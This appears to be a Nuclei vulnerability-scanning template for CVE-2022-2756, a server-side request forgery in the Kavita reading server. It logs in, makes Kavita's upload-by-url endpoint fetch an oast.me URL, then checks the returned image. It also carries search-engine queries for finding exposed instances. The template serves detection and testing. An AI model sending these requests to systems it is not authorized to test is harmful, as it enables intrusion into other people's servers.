id: CVE-2022-2756

info:
  name: Kavita <0.5.4.1 - Server-Side Request Forgery
  author: theamanrawat
  severity: medium
  description: |
    Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive information or systems, leading to potential data breaches or further attacks.
  remediation: Fixed in 0.5.4.1.
  reference:
    - https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
    - https://github.com/kareadita/kavita
    - https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2756
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-2756
    cwe-id: CWE-918
    epss-score: 0.01579
    epss-percentile: 0.87037
    cpe: cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: kavitareader
    product: kavita
    shodan-query: title:"kavita"
    fofa-query: title="kavita"
    google-query: intitle:"kavita"
  tags: cve,cve2022,ssrf,kavita,authenticated,huntr,intrusive,kavitareader

http:
  - raw:
      - |
        POST /api/account/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}
      - |
        POST /api/upload/upload-by-url HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"url":"http://oast.me/#.png"}
      - |
        GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - Interactsh Server

      - type: word
        part: header
        words:
          - image/png

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - '"token":"(.*?)"'
        internal: true

      - type: regex
        name: filename
        group: 1
        regex:
          - coverupload.(.*?).png
        internal: true
# digest: 4b0a00483046022100d2b0781d5fb5680bd80c25aa75a1d244545d1a91e342d2f00ec8ca3dad09dac7022100ce03a1d3257427eb3be47bc250cad3810df7010fa41412ce1a0046bbc5c4451a:922c64590222798bb761d5b6d8e72950